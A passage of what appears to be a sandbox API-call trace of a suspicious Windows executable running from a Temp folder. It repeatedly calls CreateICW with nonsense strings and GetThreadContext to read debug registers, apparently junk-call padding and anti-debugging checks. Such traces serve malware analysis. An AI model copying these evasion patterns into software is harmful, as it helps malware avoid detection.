[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.277] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.278] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.278] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.278] GetConsoleCP () returned 0x0
	[0066.278] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.278] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.279] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.279] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.279] GetConsoleCP () returned 0x0
	[0066.279] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.279] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.280] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.280] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.280] GetConsoleCP () returned 0x0
